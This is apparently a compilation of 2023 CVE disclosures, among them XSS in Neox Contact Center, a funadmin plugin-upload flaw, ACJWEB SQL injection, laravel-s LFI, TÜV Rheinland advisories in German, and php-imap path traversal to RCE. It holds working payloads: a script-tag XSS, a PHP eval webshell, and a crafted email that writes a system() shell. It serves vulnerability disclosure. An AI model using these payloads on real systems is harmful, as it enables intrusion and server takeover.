Cross Site Scripting (XSS) vulnerability in Neox Contact Center 2.3.9, via the serach_sms_api_name parameter to the SMA API search.

Reflected Cross-Site Scripting in Neox Contact Center.

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Steps to Reproduce :-

1\. You need to login to Neox Contact Center as admin.

2\. Visit the path https://neox.target.com/admin/admin.php?ADD=1&mode=serach&search\_sms\_api\_name=Enter\_Your\_Payload\_here

3\. Payload "><script>alert(1)</script>

4\. The PAyload will get executed.

Thank you for your visit

CVE-2023-30347: CVE-2023-30347/poc.txt at main · huzefa2212/CVE-2023-30347

An issue discovered in /admin.php in Pluck CMS 4.7.15 through 4.7.16-dev5 allows remote attackers to run arbitrary code via manage file functionality.

CVE-2023-27083

Fortra Globalscape EFT's administration server suffers from an information disclosure vulnerability where the serial number of the harddrive that Globalscape is installed on can be remotely determined via a "trial extension request" message


CVE-2023-2991: Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

libming listswf 0.4.7 was discovered to contain a buffer overflow in the parseSWF_DEFINEFONTINFO() function at parser.c.

**Allocation size overflow in parseSWF\_DEFINEFONTINFO() at parser.c:1948**

Allocation size overflow in the listswf at function parseSWF\_DEFINEFONTINFO in parser.c:1948.

**Environment**

Ubuntu 18.04, 64 bit  
libming 0.4.7

**Steps to reproduce**

1.  download file

    git clone https://github.com/libming/libming.git libming-ming-0_4_7
    

2.  compile libming with ASAN

    cd libming-ming-0_4_7
    git checkout 5aa3470
    ./autogen.sh
    export FORCE_UNSAFE_CONFIGURE=1
    export LLVM_COMPILER=clang
    CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared
    make
    make install
    
    cd obj-bc/bin/
    extract-bc listswf
    clang -fsanitize=address -lz -lm listswf.bc -o listswf_asan
    

3.  command for reproducing the error

Download poc:  
libming\_0-4-7\_listswf\_allocation-size-overflow\_parser1948.zip

**ASAN report**

    root@a71b82b5d288:~/dataset/libming-ming-0_4_7/obj-bc/bin# ./listswf_asan libming_0-4-7_listswf_allocation-size-overflow_parser1948.swf 
    header indicates a filesize of 6350 but filesize is 296
    File version: 10
    File size: 296
    Frame size: (0,0)x(0,0)
    Frame rate: 237.609375 / sec.
    Total frames: 31640
    =================================================================
    ==29667==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffed6 (0x6d8 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
        #0 0x4ade60 in malloc /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x50fefd in parseSWF_DEFINEFONTINFO /root/dataset/libming-ming-0_4_7/util/parser.c:1948:34
        #2 0x4fefda in blockParse /root/dataset/libming-ming-0_4_7/util/blocktypes.c:145:14
        #3 0x4fceb2 in readMovie /root/dataset/libming-ming-0_4_7/util/main.c:265:11
        #4 0x4fca7d in main /root/dataset/libming-ming-0_4_7/util/main.c:350:2
        #5 0x7fa41cb57c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
    
    ==29667==HINT: if you don't care about these errors you may set allocator_may_return_null=1
    SUMMARY: AddressSanitizer: allocation-size-too-big /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145 in malloc
    ==29667==ABORTING

CVE-2023-36239: Allocation size overflow in parseSWF_DEFINEFONTINFO() at parser.c:1948 · Issue #273 · libming/libming

funadmin v3.3.2 and v3.3.3 are vulnerable to Insecure file upload via the plugins install.

Vulnerability Product:funadmin  
Vulnerability version:.3.3.2 - 3.3.3  
Vulnerability type:Insecure file upload  
Vulnerability Details：  
Vulnerability location app\\backend\\controller\\Addon.php#localinstall method

the method:localinstall doesn't check any webshell or sensitive function in file, which may cause insecure file upload.  
  
firstly, we download a free plugin and unzip it. the rootpath of plugin is as follows:  
  
then, we add a webshell into /public/js  
  
content of shell: <?pup @eval($_REQUEST['shell']); ?>  
after it, we zip the entire plugin  
  
example plugin(already placed webshell): https://github.com/Leeyangee/leeya\_bug/raw/main/demo.zip

finally, we just find a website uses funadmin v3.3.2, visit: http://localhost/backend/index/index.html, click "install offline" "离线安装"  
  
and select the plugin we just zipped, after installed , visit http://localhost/static/demo/js/shell.php?shell=phpinfo();  
  
Proof that this has been uploaded webshell via plugins install

Discoverer:leeya\_bug

CVE-2023-36097: Insecure file upload via plugins install in funadmin v3.3.2 - v3.3.3 · Issue #17 · funadmin/funadmin

ACJWEB DESIGNER version 1.0 suffers from a remote SQL injection vulnerability.

    ======================================================================================|| # Title     : ACJWEB DESIGNER 1.0 - SQL Injection Vulnerability                     || # Author    : indoushka                                                             |                                            | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |                                          | # Vendor    : aluizio81@gmail.com                                                   || # Drok      : inurl:sobre.php?id=                                                   |======================================================================================|poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : http://127.0.0.1/asmac.combr/sobre.php?id= <======inject here[+] login = login.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        =======================================================================================================================================

ACJWEB DESIGNER 1.0 SQL Injection

laravel-s prior to 3.7.36 is vulnerable to Local File Inclusion via `/src/Illuminate/Laravel.php`.

**laravel-s vulnerable to Local File Inclusion**

Moderate severity GitHub Reviewed Published Jun 22, 2023 to the GitHub Advisory Database • Updated Jun 22, 2023

GHSA-q2fp-jw87-86px: laravel-s vulnerable to Local File Inclusion

A reflected cross-site scripting (XSS) vulnerability in DATEV eG Personal-Management System Comfort/Comfort Plus v15.1.0 to v16.1.1 P4 allows attackers to steal targeted users' login data by sending a crafted link.

**Sicherheitslücke im Bewerberportal "Datev Personal-Managementsystem comfort/comfort plus" der Firma DATEV eG**

Der Sicherheitsforscher Max Bäumler, von der TÜV Rheinland i-sec GmbH hat eine Sicherheitslücke im Bewerberportal "Datev Personal-Managementsystem comfort/comfort plus" der Firma DATEV eG entdeckt. Betroffen sind die Versionen 15.1.0 P6 (vermutlich ab 15.1.0) - 16.1.1 P1 (vermutlich bis 16.1.1 P3).

DATEV eG wurde am 25.04.2023 über die Schwachstelle informiert. Ein Sicherheitsupdate mit der Versionsnummer 16.1.1 P4 wurde am 28.04.2023 bereitgestellt, welches diese Schwachstelle behebt. Dieser Patch ist unter nachfolgender URL zum Download bereitgestellt: https://support.veda.net/datev.php Es wird empfohlen, dass Betroffene Nutzer diesen Patch sobald wie möglich einspielen.

Die Schwachstelle wurde mit der Kennung CVE-2023-33387 versehen und hat einen hohen CVSS-Schweregrad 7,1 von 10.

Einem potenziellen Angreifer ist es möglich, sofern ein Nutzer einen vom Angreifer manipulierten Link anklickt, die Zugangsdaten des Nutzers abzugreifen wenn dieser sich einloggt. Dadurch kann er Zugriff auf die persönlichen Daten des Nutzers wie z. B. Bewerbungsunterlagen erhalten.

Die Forscher der TÜV Rheinland i-sec GmbH bedanken sich bei DATEV eG für die professionelle Zusammenarbeit sowie die ihr Engagement um eine zeitnahe Bereitstellung des Sicherheitsupdates.

**ENOVIA V6 - Mehrere Sicherheitslücken ermöglichen Remote-Code-Ausführung**

Sicherheitsforscher Shadi Habbal, von der TÜV Rheinland i-sec GmbH, hat zwei Sicherheitslücken in "ENOVIA V6", einem Produkt von Dassault Systèmes, entdeckt. Bei den entdeckten Schwachstellen handelt es sich um XSLT- und XXE-Injektionen, die verkettet werden können, um Remotecodeausführung auf den betroffenen Systemen zu erreichen. Die Schwachstellen wurden während einer Red-Team-Kampagne entdeckt.

Die betroffene Version von ENOVIA ist „V6R2013xE“.

Dassault Systèmes wurde am 10. August 2022 über diese Sicherheitslücke informiert, und am 28. November 2022 wurde ein Fix veröffentlicht. Der Patch behebt die Sicherheitslücken in der unterstützten Version. Es ist wichtig, dass Benutzer der betroffenen Versionen von ENOVIA den Patch so bald wie möglich installieren.

Den Schwachstellen wurden die Kennungen CVE-2023-1288 und CVE-2023-1287 zugewiesen und haben einen hohen Schweregrad.

TÜV Rheinland i-sec GmbH bedankt sich bei Dassault Systèmes für Ihr Engagement, die Schwachstellen zu beheben.

**baramundi Management Agent - Von Buffer-Overflow zu Remote-Code-Execution**

Der Sicherheitsforscher Shadi Habbal von TÜV Rheinland i-sec GmbH hat eine Buffer Overflow-Schwachstelle in dem „baramundi Management Agent“ (bMA), einem Modul der „baramundi Management Suite“ (bMS), entdeckt. Ein Angreifer könnte möglicherweise diese Schwachstelle ausnutzen, um das betroffene Modul abstürzen zu lassen oder bei Erfüllung bestimmter Bedingung, z. B. CVE-2022-44654, Remote-Code-Execution zu erreichen. In beiden Szenarien müssen Angreifende in der Lage sein, den oder die Benutzer\*in dazu zu bringen, eine vorbereitete bzw. manipulierte Webseite zu besuchen, die im Internet/Intranet gehostet wird.

Betroffene Produkte sind alle Versionen von baramundi, einschließlich bMS 2022 R1, bMS 2021 R2, bMS 2021 R1 und früher.

baramundi AG wurde am 04.08.2022 über diese Schwachstelle informiert und das Sicherheitsupdate "S-2022-01" wurde am 27.09.2022 veröffentlicht. Das Sicherheitsupdate behebt die Schwachstelle in allen unterstützten Versionen. Es ist wichtig, dass Benutzer von betroffenen Versionen von baramundi den Patch so schnell wie möglich installieren.

Die Schwachstelle wurde mit der Kennung CVE-2022-43747 zugewiesen und hat einen hohen Schweregrad.

Der Forscher und die TÜV Rheinland i-sec GmbH möchten dem Product-Security-Incident-Response-Team von baramundi für die professionelle Kommunikation und baramundis Engagement bei der Beseitigung dieser Schwachstelle danken.

**Trend Micro Apex One - Schwachstelle in UMH-Monitoring-Engine-Module**

Sicherheitsforscher Shadi Habbal von der TÜV Rheinland i-sec GmbH hat eine Schwachstelle im User-Mode-Hooking (UMH) Monitoring-Engine-Modul von Trend Micro Apex One und Apex One as a Service entdeckt. Diesem Modul fehlt eine wichtige Sicherheitsfeature namens "SafeSEH". Das Modul hilft bei der Überwachung auf bösartige Nutzdaten unter Windows, indem es sich selbst in jeden Prozess im Benutzermodus injiziert und in bestimmte Windows-APIs einhakt.

Das Fehlen des "SafeSEH"-Schutzes macht das Modul angreifbar. Ein Angreifer könnte eine SEH-basierte Pufferüberlauf-Schwachstelle so ausnutzen, dass mithilfe dieser Schwachstelle eine wichtige Voraussetzung erfüllt wird, um Sicherheitsmaßnahmen zu umgehen und der betroffenen Software oder dem Gerät, auf dem sie läuft, Schaden zuzufügen. Diese Schwachstelle betrifft Apex One 2019 (On-Premises) und Apex One as a Service.

Trend Micro wurde am 8.08.2022 über diese Schwachstelle informiert und ein Fix wurde am 25.10.2022 veröffentlicht. Es wird empfohlen, dass Benutzer der betroffenen Versionen von Apex One diesen Patch oder den letzten verfügbaren kumulativen Patch so schnell wie möglich installieren. Die Schwachstelle wurde mit der Kennung CVE-2022-44654 versehen und hat einen CVSS-Schweregrad 7,5 von 10.

Die TÜV Rheinland i-sec GmbH dankt dem Product-Security-Incident-Response-Team von Trend Micro für die professionelle Kommunikation und für das Engagement von Trend Micro bei der Behebung dieser Schwachstelle.

**Lokale Rechteausweitung-Schwachstelle in otris “Update Manager”**

"Update Manager" in der Version 1.2.1.0 (und möglicherweise früher), eine Softwarekomponente der otris software AG, die von mehreren otris-Anwendungen, z.B. otris Privacy, verwendet wird, um die Aktualisierung von otris-Produkten zu erleichtern; ermöglicht Angreifern, ihre Rechte auf Windows-Systemen auf SYSTEM (höchste Berechtigung unter Windows) zu erweitern, indem sie eine Schwachstelle in der oben genannten Software ausnutzen.

Bekannte betroffene otris-Produkte sind otris Privacy < v7.0.7. Andere otris-Produkte, die die betroffene Software verwenden, könnten ebenfalls betroffen sein.

Unternehmen wird empfohlen zu prüfen, ob die oben genannte Software auf ihren Systemen im Einsatz ist und sich bei der otris software AG nach aktuellen Versionen zu erkundigen.

Sicherheitsforscher Shadi Habbal von der TÜV Rheinland i-sec GmbH entdeckte die Schwachstelle während eines aktiven Penetrationstests und nutzte die Schwachstelle erfolgreich als Proof-of-Concept aus.

Die Schwachstelle wurde am 01.09.2021 an die otris software AG gemeldet. Der otris software AG wurde eine Frist von 90 Tagen eingeräumt, um einen Fix zu veröffentlichen. Weitere 60 Tage wurden gewährt, um Unternehmen bei der Aktualisierung ihrer Systeme zu unterstützen.

Die Schwachstelle wurde nach Aussage von otris behoben und das Produkt im Anschluss einem Penetrationstest unterzogen.

Die Schwachstelle wurde CVE-2021-40376 zugeordnet. Weitere technische Einzelheiten finden Sie in dem beigefügten PDF-Dokument.

CVE-2023-33387: TÜV Rheinland – Aufgedeckte Schwachstellen

laravel-s 3.7.35 is vulnerable to Local File Inclusion via /src/Illuminate/Laravel.php.

When the settings "handle\_static" is true, LaravelS is affected by a LFI vulnerability.

public function handleStatic(IlluminateRequest $request)
{
    $uri = $request\->getRequestUri();
    if (isset(self::$staticBlackList\[$uri\])) {
        return false;
    }
    $uri = (string)str\_replace("\\0", '', urldecode($uri));

    $requestFile = $this\->conf\['static\_path'\] . $uri;
    if (is\_file($requestFile)) {
        return $this\->createStaticResponse($requestFile, $request);
    }
    ...

CVE-2023-29931: Local File Inclusion (LFI) vulnerability · Issue #437 · hhxsv5/laravel-s

### Summary
An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

### Details
An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)` (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).
In this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).
Even if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.
There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.
The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...
The official documentation only shows examples of `Attachment::save()` without providing the `$filename` (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

### PoC
1. send an email with a malicious attachment to an inbox, which gets crawled by the package
```
Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with malicious attachment

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php

<?php
// RCE
system($_GET['cmd'] ?? '#');
?>

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--


```
3. crawl email with malicious attachment
4. store the attachment with `Attachment::save('/path/to/storage')` without providing a `$filename` value

### Impact
This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.
Every application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack.


**Summary**

An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

**Details**

An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).  
In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).  
Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.  
There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.  
The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...  
The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

**PoC**

1.  send an email with a malicious attachment to an inbox, which gets crawled by the package

    Return-Path: <attacker@example.com>
    Date: Fri, 17 Aug 2018 14:36:24 +0000
    From: Attacker <attacker@example.com>
    To: Victim <victim@example.com>
    MIME-Version: 1.0
    Content-Type: multipart/mixed;
     boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"
    
    Mail with malicious attachment
    
    --_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
    Content-Type: application/octet-stream; name=shell.php
    Content-Transfer-Encoding: 8bit
    Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php
    
    <?php
    // RCE
    system($_GET['cmd'] ?? '#');
    ?>
    
    --_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--
    
    
    

3.  crawl email with malicious attachment
4.  store the attachment with Attachment::save('/path/to/storage') without providing a $filename value

**Impact**

This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.  
Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.

**References**

*   GHSA-47p7-xfcc-4pv9
*   Webklex/php-imap#414
*   https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255
*   https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252
*   https://github.com/Webklex/php-imap/releases/tag/5.3.0

Tag

#php